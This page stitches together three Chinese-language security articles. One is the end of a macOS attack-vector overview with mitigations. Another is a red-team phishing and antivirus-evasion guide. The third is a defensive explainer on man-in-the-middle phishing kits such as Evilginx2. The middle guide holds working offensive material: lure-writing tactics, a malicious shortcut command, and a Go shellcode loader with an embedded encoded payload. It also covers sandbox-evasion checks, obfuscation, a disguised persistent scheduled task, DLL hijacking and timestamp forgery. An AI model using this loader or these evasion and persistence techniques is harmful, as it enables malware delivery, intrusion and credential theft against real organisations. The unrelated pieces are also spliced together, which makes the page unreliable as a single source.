驗證所有代碼是否已簽名,以及代碼簽名是否與適當的已知開發人員簽名相對應;

限製或阻止使用安全產品執行未簽名代碼;

使用終端保護軟件防止和檢測可疑或惡意代碼執行。

6. 漏洞和水坑攻擊一種不太常見的攻擊載體,需要一些技巧才能實現,就是利用瀏覽器漏洞攻擊被攻擊網站的訪問者。瀏覽器中的零日漏洞攻擊是黑客經常關注的領域,即使在修補後,這些漏洞仍然可以被用於攻擊未能保持瀏覽器更新的組織或用戶。

在2022年12月13日發布的macOS Ventura和Safari的最新安全更新中,修補了30多個漏洞,包括以下瀏覽器相關漏洞:

CVE-2022-42856:處理惡意製作的web內容可能導致任意代碼執行。

CVE-2022-42867:處理惡意製作的web內容可能導致任意代碼執行。

CVE-2022-46691:處理惡意製作的web內容可能導致任意代碼執行。

CVE-2022-46695:訪問包含惡意內容的網站可能會導致UI欺騙。

CVE-2022-46696:處理惡意製作的web內容可能導致任意代碼執行。

CVE-2022-46705:訪問惡意網站可能導致地址欄欺騙。

7. 供應鏈攻擊上述一些攻擊載體已經可以並且已經被用於試圖進行的供應鏈攻擊,特別是那些涉及木馬應用程序、共享開發人員代碼和包存儲庫的攻擊。然而,這些攻擊都涉及到合法代碼、軟件包和應用程序的假冒或模仿版本。

在供應鏈攻擊中,攻擊者會破壞供應商發送給其他客戶端的合法代碼,這種情況比較少見。早在2016年,流行的macOS torrent客戶端傳輸就攻擊了一個罕見的macOS勒索軟件。攻擊者侵入了開發人員的服務器,並將KeRanger惡意軟件添加到包含該軟件的磁盤映像中。

在2022年,研究人員發現MiMi聊天應用程序的服務器被攻擊。惡意JavaScript已添加到用於安裝聊天應用程序的磁盤映像中。當用戶運行安裝程序時,惡意代碼到達遠程IP以檢索rshell二進製文件。該惡意軟件作為後門,能夠識別受害者設備的指紋,竊取數據並運行遠程命令。

13.jpg

一個名為“rshell”的Mach-O後門包含其C2的硬編碼IP地址

緩解措施包括:

對所有供應商和合作夥伴進行盡職調查,確保他們有良好的安全措施;

定期審計和審查供應鏈的安全性,包括隨時關注供應商和合作夥伴的最新變化;

在整個組織範圍內實施強大的安全控制,包括使用現代終端、雲和身份管理安全控制;

定期更新軟件系統和修補漏洞。

總結預防攻擊可以減少對安全團隊和組織的影響,不幸的是,人們仍然普遍認為代碼簽名、Gatekeeper和蘋果公證服務等macOS控件足以阻止惡意軟件攻擊,但如上所述macOS和微軟一樣也成為了常被攻擊的對象。蘋果自己也曾公開表示mac電腦存在惡意軟件漏洞。

如上所述,通過加強防禦並了解macOS惡意軟件使用的主要攻擊載體,安全團隊可以更好地保護組織。

 

简述

钓鱼是攻防对抗中一种常用的手段,攻击者通常伪装成可信任的实体,例如合法的机构、公司或个人,以引诱受害者揭示敏感信息或执行恶意操作,能快速地撕破目标的伤口,快速进内网进行刷分,投递木马同时需要考虑逃避杀毒软件检测,本篇文章将围绕一些常见的钓鱼手法和木马免杀对抗展开

信息搜集

批量邮箱搜集

https://app.snov.io/
http://www.skymem.info/

搜索引擎

一般来说,企业邮箱都存在邮件网关,邮件投递容易被退信拦截,所以我们要选择私人邮箱或不被邮服拦截的邮箱:

xx举报,xx招聘面对大众的邮箱,相关语法:

site:"xxx.com"  举报  
site:"xxx.com"  招聘  
  
xx公司举报 @126.com  
xx公司招聘 @qq.com

image-20231103173433363

钓鱼手法

社工钓鱼

  • 首先是目标选择,目标群体:hr、经理、财务 等安全意识薄弱的人优先选择,提前准备多套场景应对
  • 选择目标公司分部进行钓鱼成功率较高,提前想好话术和应变对策,避免被识破,最好不要在总部,避开IT信息安全部
  • 社牛的师傅可以尝试电话钓鱼,获取信任再添加微信发送木马(需要过人的心理素质和应变能力,之前从潘高工身上学到很多)

邮件钓鱼

  • 群发邮件(不推荐,易被管理员发现或被邮件网关拦截)
  • 搜集关键人物个人邮箱定向投递(推荐,隐蔽性强)
福利补贴发放

紧贴时事话题,使用各种福利活动吸引目标用户点击,把钓鱼链接转为二维码发送

image-20231104103425528

image-20230922182918302

简历投递

招聘投递简历,hr面对大量简历不会仔细查看后缀

image-20231104105527137

钓鱼文案不会写?没关系,能自动生成就不要手打,这里给我们的chatgpt大哥加鸡腿

image-20231103155359779

举报信

xxx实名举报投诉,这种邮件一般处理反馈速度很快

4gqa2zz5l3g13183.png

钓鱼文件伪装

通用技巧

  • 木马需要打压缩,添加密码并隐藏内容,或对木马文件进行双重压缩,一定程度绕过邮件网关的检测
  • 选择不常见的后缀但仍可作为exe执行,如scr、com
  • 文件名使用长命名,如果对方文件显示设置不当,预览时候看不到后缀

lnk钓鱼

如果得知目标单位使用的不是360天擎这类杀软,可使用lnk文件进行钓鱼(360会拦截)

快捷方式目标位置填入:

%windir%\system32\cmd.exe /c start .\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\xxx.doc &amp;&amp; C:\Windows\explorer.exe ".\.__MACOS__\.__MACOS__\.__MACOS__\.__MACOS1__\fsx.exe"

img

图标更换路径选择:

C:\\Program Files (x86)\\Microsoft\\Edge\\Application  
%SystemRoot%\\System32\\imageres.dll  
%SystemRoot%\\System32\\shell32.dll

image.png

弹框错误提示

运行msgbox提示“文件已损坏”等具有迷惑性的内容

vbs实现

On Error Resume Next  
WScript.Sleep 2000  
msgbox "当前文件已损坏,请更换工具进行打开",64,"提示" 

go代码实现

package main  
  
import (  
    "github.com/gen2brain/dlgs"  
)  
  
func box() {  
    _, err := dlgs.Info("提示", "当前文件已损坏,请更换工具进行打开")  
  if err != nil {  
    panic(err)  
  }  
}

实现效果

image-20231103170505169

文件捆绑器

  • 绑定正常文件和恶意木马,运行后会对exe本身进行自删除,然后在当前目录下释放正常文件并打开,并释放木马至 C:\Users\Public\Videos目录下运行
  • 1.1版本 bypass常规杀软 (360、def、火绒等)
  • 1.2版本 新增文件释放后自动隐藏

image-20231103113848878

效果实现

image-20231104115308737

常见杀软类型

杀软类型杀软特点
火绒 编译参数限制多,对hash和字符串特征进行识别,静态能过动态基本不查杀,对部分go库调用报毒
360 单360查杀力不高,装了杀毒后直接儿子变爸爸,查杀力大大提升,杀毒会自动上传样本,容易上线后云查杀过一会掉线,推荐使用分离加载方式,并使用反沙箱的代码延长马子时间
360核晶 开启后对整体查杀性能影响不大,避免使用进程注入的方式加载shellcode,执行命令使用bof插件进行替代
Defender 新增cobaltstrike规则,推荐使用Stageless,免杀性比Stage好,4.5版本开启sleep_mask参数增强免杀性,对体积大的文件查杀度不高

基础的加载方式

以下只是基础的示例,仅仅实现加密解密加载的功能

先使用python脚本进行加密 payload.c 文件

import base64  
  
originalShellcode = b"\xfc\xe8\x89\x00"  
encryptedShellcode = bytes([byte ^ 0xFF for byte in originalShellcode])  
encodedShellcode = base64.b64encode(encryptedShellcode).decode('utf-8')  
  
print(encodedShellcode)

image-20231104111224020

输出的内容填入encryptedShellcode进行编译

package main

import (
    "encoding/base64"
    "syscall"
    "unsafe"

    "github.com/lxn/win"
    "golang.org/x/sys/windows"
)

func main() {
    // 通过 base64 和 XOR 解密 shellcode 内容
    win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
    encryptedShellcode := "iz/0k4efv3d3dzYmNiclJiE/RqUSP/wlFz/8JW8//CVXP/wFJz94wD09Oka+P0a320sWC3VbVza2vno2draVmiU2Jj/8JVf8NUs/dqcR9g9vfHUCBfz3/3d3dz/ytwMQP3anJ/w/bzP8N1c+dqeUIT+Ivjb8Q/8/dqE6Rr4/RrfbNra+ejZ2tk+XAoY7dDtTfzJOpgKvLzP8N1M+dqcRNvx7PzP8N2s+dqc2/HP/P3anNi82LykuLTYvNi42LT/0m1c2JYiXLzYuLT/8ZZ44iIiIKh13PskAHhkeGRIDdzYhPv6RO/6GNs07AFFwiKI/Rr4/RqU6Rrc6Rr42JzYnNs1NIQ7QiKKe5Hd3dy0//rY2z8x2d3c6Rr42JjYmHXQ2JjbNIP7osYiinA4sP/62P0alPv6vOka+JR93RbfzJSU2zZwiWUyIoj/+sT/0tCcdfSg//obNaHd3dx13H/dEd3c+/pc2znN3d3c2zQIx6fGIoj/+hj/+rT6wt4iIiIg6Rr4lJTbNWnFvDIii8rd48up2d3c/iLh48/t2d3ecxJ6Tdnd3n/WIiIhYBAMWAx4UWB0EWB0GAhIFDlpEWURZRVkEGx4aWRoeGVkdBHdhI6t+16t+1fOvaU170U01iyzbpfayy1/2ar3+Ctaxwg13pLfzUvyPdjEAdyIEEgVaNhASGQNNVzoYDR4bGxZYQllHV18gHhkTGAAETFciTFcgHhkTGAAEVzkjV0JZRkxXEhlaIiRMVwUBTUZZQFlCXlcwEhQcGFhFR0dDRkZHQFcxHgUSERgPWEZZR1dfFg9een138a3Jhf8SuTLptsakGlHpCzEfaWu1GBbwmbCC5spmVmyh80fqMODP2ALXgmypFSNWG7SVeI0OybyhAGGyF4I4kOtTOz1MqEL3Bv8empA2KC6kL9eYO3xP4ukic3tfP++yRqP8gYDC1Aq3kBknsTnkPu3RSJoVXLtaD3jO3ibMl+cBpDBioUbhePdlxTvlhD+OZ/NDXSwjf1y7hgK70678/6sPEZl2VdgAUuFa17KFDBoUq6Cq9OLDOu5GFZp42AYcsmoQmwd8Xnc2yYfC1SGIoj9Gvs13dzd3Ns93Z3d3Ns43d3d3Ns0v0ySSiKI/5CQkP/6QP/6GP/6tNs93V3d3Pv6ONs1l4f6ViKI/9LNX8rcDwRH8cD92tPK3AqAvLy8/cnd3d3cntJ8IioiIBBIFAR4UEloSAxMVQEMZEVpGREdAQEdHT0ZPWQQfWRYHHhAAWQMSGRQSGQMUBFkUGBp3coKWdw=="
    decodedShellcode, _ := base64.StdEncoding.DecodeString(encryptedShellcode)
    for i := 0; i &lt; len(decodedShellcode); i++ {
        decodedShellcode[i] ^= 0x77
    }

    // 获取 kernel32.dll 中的 VirtualAlloc 函数
    kernel32, _ := syscall.LoadDLL("kernel32.dll")
    VirtualAlloc, _ := kernel32.FindProc("VirtualAlloc")

    // 分配内存并写入 shellcode 内容
    allocSize := uintptr(len(decodedShellcode))
    mem, _, _ := VirtualAlloc.Call(uintptr(0), allocSize, windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
    if mem == 0 {
        panic("VirtualAlloc failed")
    }
    buffer := (*[0x1_000_000]byte)(unsafe.Pointer(mem))[:allocSize:allocSize]
    copy(buffer, decodedShellcode)

    // 执行 shellcode
    syscall.Syscall(mem, 0, 0, 0, 0)
}

通用杀软bypass技巧

  • 免杀性优先选择远程加载或文件分离加载,但同时也存在一些缺点,前者可能会被溯源或被安全设备封堵url地址,后者需要两个文件更适合维权使用
  • 垃圾代码填充,在加载shellcode前先进行无害化操作,干扰沙箱和杀软的判断,或者通过延时执行或增大程序体积一定几率绕过检测
  • 选择小众语⾔来编写制作loader特征较少,工具除了CS也可使用vshell等其他自写C2

一键生成免杀

臭不要脸的我又来安利一波github项目,咳咳,觉得还可以的师傅可以点个star

免杀大师王超攻魔改之作 https://github.com/wangfly-me/LoaderFly

千机-红队免杀木马自动生成 https://github.com/Pizz33/Qianji

编译参数的影响

go:  
-race   竞态检测编译  
-ldflags '-s -w'   去除编译信息  
-ldflags '-H windowsgui'   隐藏窗口  
  
garble(混淆库):  
-tiny                    删除额外信息  
-literals               混淆文字  
-seed=random   base64编码的随机种子

举个例子,编译一个无害化的代码使用了 -literals 参数,360仍会报毒,不加则不报毒

package main  
  
func main() {  
    // 两个要相乘的数字  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // 使用for循环来进行乘法运算  
    for i := 0; i &lt; num2; i++ {  
        result += num1  
    }  
}

image-20231103142821152

-H windowsgui参数同样也会对免杀性产生很大影响,如果需要隐藏黑框可以用下面的代码替代(但是win11下仍有黑框)

package main  
  
import "github.com/lxn/win"  
  
func main(){  
  win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)  
}
func box()int{  
    FreeConsole := syscall.NewLazyDLL("kernel32.dll").NewProc("FreeConsole")  
    FreeConsole.Call()  
    return 0  
}  
  
func main() {  
  box()

静态特征处理

混淆处理

go低版本 https://github.com/boy-hack/go-strip

go高版本 https://github.com/burrowers/garble

mangle替换字符串

https://github.com/optiv/Mangle

Mangle.exe -I xxx.exe -M -O out.exe

mangle处理前后对比,可发现对go编译特征字符串替换为随机字符
image-20231104111621701

base64编码变量

cmd := exec.Command("rundll32.exe", "xxx")

关键字符串进行Base64编码,并在相应位置替换变量值

encodedCommand := "cnVuZGxsMzIuZXhl"  
encodedArguments := "MTExTdGFydA=="  
  
// 解码Base64编码的命令和参数  
decodedCommand, _ := base64.StdEncoding.DecodeString(encodedCommand)  
decodedArguments, _ := base64.StdEncoding.DecodeString(encodedArguments)  
  
cmd := exec.Command(string(decodedCommand), string(decodedArguments))

QVM绕过

添加资源

1、添加图标签名版权等信息内容,可使用以下项目一键添加

image-20231104111439772

https://github.com/Pizz33/360QVM_bypass
https://github.com/S9MF/my_script_tools/tree/main/360QVM_bypass-public
https://github.com/langsasec/Sign-Sacker

0hzfg40caje13229.png

image-20230504161714715

行为特征

运行直接加载shellcode,一般会直接报qvm

package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&amp;decryt[0])), uintptr(len(decryt)))  
    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}

先执行正常行为再进行shellcode加载,qvm无报毒,以下是示例,可根据实际情况进行调整

package main  
  
import (  
    "syscall"  
    "unsafe"  
)  
  
var (  
    ntdll         = syscall.MustLoadDLL("ntdll.dll")  
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")  
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")  
)  
  
const (  
    MEM_COMMIT             = 0x1000  
    MEM_RESERVE            = 0x2000  
    PAGE_EXECUTE_READWRITE = 0x40  
)  
  
func main() {  
    num1 := 5  
    num2 := 3  
  
    result := 0  
  
    // 使用for循环来进行乘法运算  
    for i := 0; i &lt; num2; i++ {  
        result += num1  
    }  
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(decryt)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)  
    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&amp;decryt[0])), uintptr(len(decryt)))  
    if err != nil &amp;&amp; err.Error() != "The operation completed successfully." {  
        syscall.Exit(0)  
    }  
    syscall.Syscall(addr, 0, 0, 0, 0)  
}  

好用的反沙箱技巧

出口IP判断

func san() {  
  url := "https://myip.ipip.net/"  
  
  resp, err := http.Get(url)  
  if err != nil {  
    os.Exit(1)  
  }  
  defer resp.Body.Close()  
  
  body, err := ioutil.ReadAll(resp.Body)  
  if err != nil {  
    os.Exit(1)  
  }  
  
  content := string(body)  
  
  if strings.Contains(content, "中国") {  
  } else {  
    os.Exit(1)  
  }  
  }

检测桌面文件数量

func desktop() {  
    desktopPath, err := os.UserHomeDir()  
    if err != nil {  
        fmt.Println("无法获取用户桌面路径:", err)  
        return  
    }  
  
    desktopPath = filepath.Join(desktopPath, "Desktop")  
    fileCount, err := countFilesInDir(desktopPath)  
    if err != nil {  
        fmt.Println("无法读取用户桌面文件列表:", err)  
        return  
    }  
  
    fmt.Println("用户桌面文件数:", fileCount)  
  
    if fileCount &lt; 7 {  
        os.Exit(0)  
    }  
    // 在这里编写你的其他代码逻辑  
}

检测微信等常见软件

func CheckWeChatExist() {  
  k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)  
  if err != nil {  
    os.Exit(0)  
  }  
  defer k.Close()  
  
  s, _, err := k.GetStringValue("InstallDir")  
  if err != nil || s == "" {  
    os.Exit(0)  
  }  
}

检测pagefile.sys

func sys() {  
    pageFilePath := "C:\\pagefile.sys"   
    _, err := os.Stat(pageFilePath)  
    if os.IsNotExist(err) {  
        os.Exit(1)  
    } else if err != nil {  
    } else {  
    }  
}

判断系统类型

func language() {  
    language := os.Getenv("LANG")  
  
    if strings.Contains(language, "en_US") {  
        os.Exit(0)  
    } else {  
    }  
}

内存流量处理

流量侧可通过云函数或者CDN进行伪装,配置可参考网上教程在这里不进行详述,相关项目可参考,但要注意oss权限设置避免被溯源

https://github.com/9bie/oss-stinger
https://github.com/pantom2077/alioss-stinger

自定义profile,可使用以下项目随机生成

https://github.com/threatexpress/random_c2_profile

内存混淆,动态加解密beacon内存,重载Ntdll等技术,可参考下面文章

https://www.freebuf.com/articles/system/361161.html
https://idiotc4t.com/defense-evasion/load-ntdll-too

执行命令bypass

直接通过cs执行截图,spawn等敏感操作,容易导致beacon掉线,这时候可以使用bof替代,下面列举一些好用的

进程迁移 https://github.com/ajpc500/BOFs
截图 https://github.com/baiyies/ScreenshotBOFPlus
删除自身 https://github.com/AgeloVito/self_delete_bof
bypassuac提权 https://github.com/youcannotseemeagain/ele

可以定期去github上关注一些好用的bof
image-20231103171105881

权限维持

常规命令添加计划任务,注册表这里不过多叙述,网上命令教程有

添加计划任务

在攻防中,上线机器总是需要手动进行维权太过于麻烦,直接在代码加入上线自动添加计划任务,测试可以bypass常规杀软

部分实现代码:
https://github.com/capnspacehook/taskmaster

package main  
  
import (  
    "os"  
    "github.com/capnspacehook/taskmaster"  
)  
  
func runWinTask(path string) {  
    // 创建初始化计划任务  
    taskService, _ := taskmaster.Connect()  
  
    defer taskService.Disconnect()  
    // 定义新的计划任务  
    newTaskDef := taskService.NewTaskDefinition()  
    // 添加执行程序的路径  
    newTaskDef.AddAction(taskmaster.ExecAction{  
        Path: path,  
    })  
    // 定义计划任务程序的执行时间等,设置为开机启动  
    newTaskDef.AddTrigger(taskmaster.BootTrigger{  
        TaskTrigger: taskmaster.TaskTrigger{  
            Enabled: enable,  
        },  
    })  
  
    // 创建计划任务  
    result, _, _ := taskService.CreateTask("\\windows\\update", newTaskDef, true)  
    result=result  
}  
  
func main() {  
    path, err := os.Executable()  
    if err != nil {  
        return  
    }  
  
    runWinTask(path)  
}

隐藏计划任务

具体原理可参考0x727师傅的文章

https://github.com/0x727/SchTask_0x727
https://payloads.cn/2021/0805/advanced-windows-scheduled-tasks.html

  • 选择主机随机进程名作为计划任务程序文件名
  • 将计划任务程序文件复制到 %AppData%\Microsoft\Windows\Themes\
  • 创建的计划任务名取同一随机进程
  • 计划任务触发器以分钟为单位,无限期持续
  • 更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件

dll劫持替换

比较常用的有 C:\Program Files (x86)\Google\Update

GoogleUpdate.exe 程序运行的时候,会调用当前目录下的 goopdate.dll 文件

image-20230823124612928

单个查找

https://github.com/wietze/windows-dll-hijacking

image-20231103200348808

批量查找

https://github.com/knight0x07/ImpulsiveDLLHijack

ImpulsiveDLLHijack.exe -path xxx.exe

这里使用navicat进行测试,可见运行的时候会加载C:\Users\xxx\AppData\Local\Programs\Python\Python38\Scripts\oci.dll

image-20231104111621701

image-20231102183639496

修改文件时间

当我们上传cs木马至服务器的时候,由于修改日期是新的,蓝队人员很容易通过 everything 筛选时间排查应急
image-20231103104619412

这时候我们可以使用一些技巧进行隐藏

https://github.com/MsF-NTDLL/ChTimeStamp

通过这个项目实现修改文件时间,先看看预览效果

image-20231103104702070

查看net版本

shell reg query "HKLM\\Software\\Microsoft\\NET Framework Setup\\NDP" /s /v version | findstr /i version | sort /+26 /r  

需要安装net3.5 没有安装一下

shell dism.exe /online /enable-feature /featurename:netfx3 /Source:C:\\Users\\hack\\Desktop\\dotnetfx35.exe  
DISM /Online /Enable-Feature /All /FeatureName:NetFx3 /LimitAccess /Source:D:\\sources\\sxs

https://github.com/MsF-NTDLL/ChTimeStamp

shell copy "C:\\Program Files\\Windows Defender\\MpClient.dll" C:\\Users\\Public\\AccountPictures\\MpClient.dll  
shell C:\\Users\\Public\\AccountPictures\\ChTimeStamp.exe C:\\Users\\Public\\AccountPictures\\new\_msedge.exe C:\\Users\\Public\\AccountPictures\\MpClient.dll

image-20231103104735678

https://github.com/sorabug/ChangeTimestamp

ChangeTimestamp.exe xxx.exe 2021-12-09 15:08:27

image-20230505092903602

    转自于原文连接: https://forum.butian.net/share/2532

 


       

我們可能或多或少都知道一些如何避免網絡釣魚的方法,比如注意拼寫錯誤或其他會提醒我們詐騙者存在的錯誤。然而,這個建議只對傳統的網絡釣魚技術有幫助。中間人(MitM)網絡釣魚攻擊則表明攻擊者可以繞過傳統防禦。

MitM網絡釣魚攻擊是一種最先進的網絡釣魚攻擊類型,能夠攻擊雙因素身份驗證(2FA),同時避免許多基於內容的網絡釣魚檢測引擎。 MitM攻擊不是顯示目標登錄頁面的欺騙版本,而是使用反向代理服務器將原始登錄頁面直接中繼到用戶的瀏覽器。

截至2022年11月,多起網絡釣魚攻擊使用MitM策略來攻擊商業電子郵件帳戶,並成功竊取組織的機密信息。有幾個流行的MitM網絡釣魚工具包,讓黑客只需點擊幾下即可輕鬆發起他們自己的MitM釣魚攻擊。

這些工具包不斷擴展其功能集,同時變得更加直觀和易於使用。許多人已經採用了複雜的偽裝技術,使他們能夠逃避傳統網絡釣魚檢測系統的檢測。因此,我們預計這些MitM網絡釣魚攻擊的流行率將在不久的將來繼續上升。

你可以通過高級URL過濾實時阻止MitM釣魚頁面,從而免受本文中討論的攻擊。

傳統的網絡釣魚攻擊釣魚攻擊的目的是建立一個虛假的登錄頁面,誘使用戶輸入登錄憑證。

在傳統的網絡釣魚攻擊中,攻擊者通常會創建自己的網絡釣魚頁面來模仿合法的登錄頁面。他們可能會將其託管在新創建的域上,破壞合法域並將其網絡釣魚頁面託管在該域上,或者使用現有的SaaS平台託管其網絡釣魚內容。

“網絡釣魚工具包”簡化了創建和部署網絡釣魚攻擊的過程,提供了一套標準程序或腳本,這樣即使是沒有經驗的攻擊者也可以發起自己的網絡釣魚攻擊。這些工具通常使用模板化的網頁,模仿目標公司的實際登錄頁面。基於web的網絡釣魚即服務(PhaaS)平台的攻擊服務則更進一步,如Caffeine(如圖1所示)和Robin Banks,通過提供易於使用的界面,允許攻擊者配置和部署網絡釣魚攻擊。

1.png

網絡釣魚即服務(PhaaS)平台Caffeine的主頁於2022年10月首次公佈

在傳統的網絡釣魚攻擊中,網絡釣魚頁面通常直接託管在惡意或受損的服務器上,且不一定是合法登錄頁面的完美副本。例如,如果攻擊者要創建一個模仿GitHub登錄的網絡釣魚頁面,他們可能不想重新創建圍繞核心登錄功能的所有其他功能,例如“忘記我的密碼”鏈接。

專家或細心的觀察者可能會注意到合法的GitHub登錄頁面和欺騙的釣魚頁面之間的細微差異,並意識到欺騙的頁面是非法的。下圖顯示了釣魚頁面與原始目標登錄頁面的不同之處。

類似地,基於內容的自動網絡釣魚預防引擎可能會注意到這些非法登錄頁麵包含可疑內容的跡象(例如斷開的鏈接或拼寫錯誤),並將其標記為可能的網絡釣魚網站。

2.png

左圖:網絡釣魚攻擊中使用的假冒Microsoft登錄頁面示例,右圖:截至2022年11月21日的原始Microsoft登錄頁面

即使有這些缺陷,這些網絡釣魚活動中的收件人數量之多意味著一些目標仍然可能成為這些攻擊的受害者。雙因素身份驗證(2FA),也稱為多因素身份驗證,已成為一種日益流行的添加額外安全層以防止成功的網絡釣魚攻擊的方式。

雙因素身份驗證實際應用的一個例子是,除了要求用戶名和密碼外,合法的登錄網站還要求額外的身份驗證形式,例如發送到用戶註冊電子郵件地址的一次性密碼(OTP)。即使攻擊者通過成功的釣魚攻擊獲得了受害者的用戶名和密碼,他們也無法以該用戶身份登錄,因為他們無法檢索在惡意登錄嘗試期間發送的OTP。

MitM網絡釣魚攻擊MitM網絡釣魚攻擊是一種繞過基於內容的防禦和雙因素身份驗證的新型網絡釣魚攻擊。與傳統的網絡釣魚攻擊不同,MitM攻擊顯示的是合法登錄頁面的獨立但虛假的版本,它向用戶顯示的內容與他們在合法登錄頁面上看到的內容完全相同。 MitM服務器沒有託管合法登錄頁面的副本,而是簡單地獲取合法站點上呈現的內容並將其轉發給最終用戶,如下圖所示。

換句話說,MitM服務器充當目標和合法登錄頁面之間的代理。當目標將其憑據輸入到代理頁面時,MitM服務器將憑據存儲起來,並將其轉發到合法的登錄頁面,從而成功登錄。從受害者的角度來看,一切看起來就像他們登錄到了合法頁面。

此外,這兩個連接(MitM服務器到合法站點,受害者到MitM服務器)都是通過HTTPS協議提供的,因此受害者將根據web瀏覽器地址欄中的掛鎖圖標看到連接是“安全的”。

3.png

MitM網絡釣魚攻擊的可視化表示

由於顯示給目標的內容與他們在合法登錄頁面上看到的內容完全相同,這種基於代理的方法使受害者更難從視覺上辨別出可疑的事情正在發生,並且使基於內容的網絡釣魚檢測引擎很難注意到任何可疑的事情。

MitM網絡釣魚攻擊就像通過隱藏得很好的鏡子觀看原畫。 MitM攻擊除了上述好處外,還有其他幾個好處。例如,如果用戶設置了雙因素身份驗證,這種基於代理的方法允許MitM服務器自動繞過這個雙因素身份驗證。 在MitM服務器將用戶名和密碼轉發到合法站點後,合法站點將按照其正常行為向其客戶端發送OTP。如果被欺騙,目標將在MitM網絡釣魚頁面中輸入一次性密碼。這允許MitM服務器將密碼中繼到合法站點,從而完全完成登錄嘗試。

此時,MitM服務器將從合法站點接收一個真實的會話cookie。這種持久的登錄允許受害者繼續正常瀏覽網站(儘管仍然通過攻擊者的web服務器),從而進一步保持網絡釣魚攻擊的合法性。

真實發生的MitM網絡釣魚攻擊在撰寫本文時,黑客可以使用幾個工具輕鬆地部署他們自己的MitM網絡釣魚攻擊。與傳統的釣魚套件類似,這些MitM釣魚套件提供了一組腳本,或者在某些情況下,甚至是圖形用戶界面(GUI),使攻擊者可以輕鬆配置和發起MitM釣魚攻擊。

接下來,我們將介紹一些流行的MitM釣魚工具包。這些工具包都採用了將原始登錄頁面傳遞給受害者瀏覽器的核心策略,但它們在實現細節和附加功能(例如,隱身和TLS證書生成)方面有所不同。 例如Evilginx2,生成唯一的標記化URL(又名“誘餌”),必須直接訪問以顯示釣魚內容。對任何其他路徑的請求都會導致重定向到良性站點。

1.Evilginx2 ,2018年7月(2017年5月發布的第一個版本)首次發布,功能豐富的MitM釣魚工具包,具有易於使用的命令行界面。具有內置隱藏功能。生成URL中必須存在的唯一令牌(誘餌),此工具的命令行界面如下圖所示。

2.Modlishka ,2019年1月發布,自動化幾個配置步驟和攻擊後的操作,例如使用被盜的會話cookie啟動一個插入指令的Chrome實例。

3.Muraena,2019年5月發布,barebones MitM工具包。與其他自動創建TLS證書的工具包不同,Muraena要求攻擊者提供自己的證書。

4.EvilnoVNC,2022年9月發布,使用真實的web瀏覽器在攻擊服務器上渲染登錄頁面,並通過VNC將內容提供給受害者的瀏覽器。

5.EvilProxy,2022年9月發布,MitM網絡釣魚攻擊的網絡釣魚即服務平台。提供一個易於使用的GUI,攻擊者可以設置和管理他們自己的MitM網絡釣魚活動。

4.png

使用Evilginx2命令行界面來啟動和執行MitM釣魚攻擊的屏幕截圖

在今年之前,與MitM相關的策略已經被用來成功地模擬大型軟件組織,暴露數億用戶的個人數據,並從新興初創公司竊取數百萬美元。然而,這些攻擊並不一定使用網絡釣魚本身作為其主要攻擊載體。現在,基於MitM的網絡釣魚攻擊已經開始佔據中心位置。

2022年中MitM網絡釣魚活動2022年7月,微軟報告了一起使用Evilginx2竊取目標微軟證書的網絡釣魚活動。該活動向潛在受害者發送電子郵件,促使他們下載一個重要的附件。在打開附件並通過一系列重定向路由之後,受害者將到達如下圖所示的MitM釣魚頁面。在攻擊者成功攔截身份驗證cookie後,他們會登錄到受攻擊的Outlook帳戶,並不斷搜索與金融相關的電子郵件和附件,以尋找欺詐的機會。

5.png

MitM憑證竊取頁面,這是微軟在2022年7月報告的一部分

為了避免被發現,該活動使用了各種隱藏技術,以確保只有當受害者通過原始HTML附件導航到頁面時,釣魚內容才會加載。到微軟的威脅情報文章發表時,在幾個月的時間裡,已有超過10000個組織成為了這次活動的目標。

根據Palo Alto 網絡高級URL過濾日誌,他們的高級URL過濾服務早在2021年9月就已經開始阻止對攻擊者域上託管的標記化釣魚URL的網絡流量(例如login[.]mcrsfts-passwdupdate[.]com/HMxVQmxZ)。

2022年底MitM網絡釣魚活動2022年9月,另一個活動被發現使用MitM網絡釣魚策略竊取目標的GitHub登錄憑據。幾個域被用來模擬CircleCI登錄頁面,提示受害者使用GitHub憑據登錄。

6.png

ci[.]com.2022年9月GitHub釣魚活動的示例登錄頁面,點擊“登錄GitHub”,用戶會看到一個MitM憑證竊取頁面,它反映了GitHub的實際登錄頁面。

7.png

上圖中網頁鏈接到的MitM憑證竊取頁面,該網頁不託管在網絡釣魚服務器上,而是從GitHub本身轉發

對於已經設置了基於OTP的雙因素身份驗證的目標,MitM服務器還會提示他們輸入OTP,然後將其轉發到GitHub,從而允許成功登錄。從那裡,攻擊者將通過快速創建個人訪問令牌(pat)或將他們自己的SSH密鑰添加到受害者的帳戶來堅持他們的訪問權限。這樣,即使受害者更改了用戶名和密碼,攻擊者也可以繼續訪問被洩露的帳戶。

